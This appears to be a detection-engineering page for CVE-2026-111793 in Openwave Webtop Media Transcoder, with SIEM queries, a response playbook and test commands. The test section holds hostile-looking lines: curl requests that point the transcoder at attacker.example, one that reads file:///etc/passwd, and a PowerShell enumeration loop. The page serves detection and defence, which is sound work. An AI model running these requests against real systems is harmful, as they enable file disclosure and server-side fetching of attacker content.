Openwave Webtop Media Transcoder Incorrect Resource Transfer Between Spheres (CVE-2026-111793)
Detects exploitation attempts against CVE-2026-111793, an Incorrect Resource Transfer Between Spheres vulnerability (CWE-669) in Openwave Messaging Limited's Webtop Media Transcoder. The flaw allows resources to be transferred across a trust boundary during media transcoding, enabling an attacker to access or deliver content that should be isolated. The CVE is listed in the CISA Known Exploited Vulnerabilities catalog (BOD 26-04), indicating confirmed in-the-wild exploitation. This detection surfaces anomalous transcoder requests, unexpected outbound fetches initiated by the transcoder service, and file writes outside the expected media working directories.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Openwave Messaging Limited
- Product
- Webtop Media Transcoder
Weakness (CWE)
Timeline
- Disclosed
- November 10, 2026
References & Proof of Concept
- https://github.com/GISOpenwave/security-advisories-public/blob/main/CAN-2026-2032674.md
- https://jvn.jp/en/vu/JVNVU93403064/
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-111793
CVSS
- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- Low
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
What is CVE-2026-111793 Openwave Webtop Media Transcoder Incorrect Resource Transfer Between Spheres (CVE-2026-111793)?
Openwave Webtop Media Transcoder Incorrect Resource Transfer Between Spheres (CVE-2026-111793) (CVE-2026-111793) maps to the Initial Access and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Openwave Webtop Media Transcoder Incorrect Resource Transfer Between Spheres (CVE-2026-111793), covering the data sources and telemetry it touches: IIS Logs, Web Server Logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Collection
// df00tech DF00-4c7418b27a · https://df00tech.com/detections/CVE-2026-111793 · licence: https://df00tech.com/detections/licence
let transcoderHosts = dynamic([]);
let suspiciousExtensions = dynamic([".php",".jsp",".asp",".aspx",".sh",".py",".exe"]);
union isfuzzy=true
(
W3CIISLog
| where csUriStem has_any ("transcode", "transcoder", "media", "convert")
| where cIP !startswith "10." and cIP !startswith "192.168."
| where scStatus in ("200","500") and (csUriQuery has_any ("url=","src=","source=","uri=","file=") or csReferer == "-")
| project TimeGenerated, SourceIP=cIP, Host=sComputerName, Uri=csUriStem, Query=csUriQuery, Status=scStatus
)
| summarize RequestCount=count(), SampleQueries=make_set(Query, 10) by SourceIP, Host, Uri, bin(TimeGenerated, 10m)
| where RequestCount >= 1 Flags requests to the Webtop Media Transcoder endpoints that carry externally-supplied resource references (url/src/file parameters) consistent with Incorrect Resource Transfer Between Spheres exploitation.
Data Sources
Required Tables
False Positives
- Legitimate transcoding jobs that reference internal media URLs for format conversion.
- Automated media ingestion pipelines that pass source URIs as query parameters.
- Security scanners or uptime monitors probing the transcoder endpoint.
Query fingerprint DF00-4c7418b27a · licence
Sigma logsource & community rules
The detection logic for Openwave Webtop Media Transcoder Incorrect Resource Transfer Between Spheres (CVE-2026-111793) (CVE-2026-111793) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-111793
References (5)
- https://github.com/GISOpenwave/security-advisories-public/blob/main/CAN-2026-2032674.md
- https://jvn.jp/en/vu/JVNVU93403064/
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-111793
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Transcoder request with external URL parameter
Expected signal: Web/IIS log entry for the transcoder path containing a src= resource parameter from an external source.
- Test 2 Transcoder request referencing internal-only resource
Expected signal: Transcoder access log entry with a uri= parameter pointing to a restricted local resource.
- Test 3 Repeated parameterized transcoder probing
Expected signal: Multiple web log entries from a single source to the transcoder endpoint with url= parameters.
Response Playbook
Triage
- Confirm the targeted host runs Openwave Webtop Media Transcoder and determine its patch level against the vendor advisory CAN-2026-2032674.
- Extract the resource-reference parameter value (url/src/file/uri) from the flagged request and determine whether it points to an internal, restricted, or attacker-controlled resource.
- Review the transcoder service logs around the event time for errors, unexpected outbound fetches, or files written outside the designated media working directory.
- Correlate the source IP against threat intelligence and check whether it has touched other internet-facing services.
Containment
- Block the offending source IP(s) at the perimeter or WAF and rate-limit or disable external access to the transcoder endpoint.
- If exploitation is confirmed, isolate the transcoder host from untrusted networks and apply the vendor fix referenced in the advisory.
- Rotate any credentials or secrets that may have been exposed through improperly transferred resources.
Evidence Collection
- Preserve web/IIS and transcoder application logs covering the request window.
- Capture the transcoder process command lines, open files, and any newly created files in and around the media working directory.
- Snapshot network connection records showing outbound fetches initiated by the transcoder service.
Escalation Criteria
- ! Escalate to incident response if the transcoder fetched or served a resource from outside its intended trust boundary (e.g., internal-only or filesystem resource returned to an external client).
- ! Escalate if evidence shows file writes, process execution, or credential access following the transcoder request, indicating progression beyond initial access.
Investigation Guide
Forensic Artifacts
- >
Web/IIS access logs showing transcoder requests with resource-reference parameters. - >
Transcoder application logs recording source URIs and fetch outcomes. - >
Outbound network connection records attributable to the transcoder process. - >
Unexpected files in or near the media working directory.
Tuning Guidance
Baseline the legitimate resource-reference values your transcoder workflow uses (internal media hostnames, allowed schemes) and allowlist them. Restrict the detection to externally-sourced IPs and to resource values whose host/scheme falls outside the approved set to reduce noise from normal transcoding jobs.
Hunting Queries
Enumerates distinct resource-reference values submitted to the transcoder to spot parameter values that cross the intended trust boundary.
// df00tech DF00-4c7418b27a · https://df00tech.com/detections/CVE-2026-111793 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("transcode","transcoder","media") | where csUriQuery has_any ("url=","src=","file=","uri=") | summarize count() by cIP, csUriQuery | sort by count_ desc ``` df00tech DF00-4c7418b27a · https://df00tech.com/detections/CVE-2026-111793 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*transcode*" OR uri_path="*media*") | rex field=uri_query "(?i)(url|src|source|uri|file)=(?<resval>[^&]+)" | stats count by src_ip, resval | sort -count Atomic Red Team Tests
Submits a transcoder request supplying an external resource URL to emulate the cross-sphere resource reference vector.
Command
curl -s -o /dev/null -w '%{http_code}' 'https://transcoder.lab.local/transcode?src=https://attacker.example/resource.mp3' Cleanup
echo 'No cleanup required; stateless HTTP request.' Expected Telemetry
Web/IIS log entry for the transcoder path containing a src= resource parameter from an external source.
Expected Detection
KQL/SPL rules flag the request as carrying an external resource-reference parameter.
Attempts to have the transcoder fetch an internal-only resource via a file/uri parameter, emulating improper cross-sphere transfer.
Command
curl -s 'https://transcoder.lab.local/media/convert?uri=file:///etc/passwd' -o /tmp/transcoder_test_out Cleanup
rm -f /tmp/transcoder_test_out Expected Telemetry
Transcoder access log entry with a uri= parameter pointing to a restricted local resource.
Expected Detection
Resource-reference parameter rules match on the uri= value targeting an internal sphere.
Issues multiple transcoder requests with varying resource parameters to emulate enumeration behavior.
Command
powershell -c "1..5 | ForEach-Object { Invoke-WebRequest -UseBasicParsing -Uri \"https://transcoder.lab.local/transcode?url=https://attacker.example/$_.mp4\" }" Cleanup
echo No cleanup required Expected Telemetry
Multiple web log entries from a single source to the transcoder endpoint with url= parameters.
Expected Detection
Aggregation-based detections surface the source IP with repeated parameterized transcoder requests.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040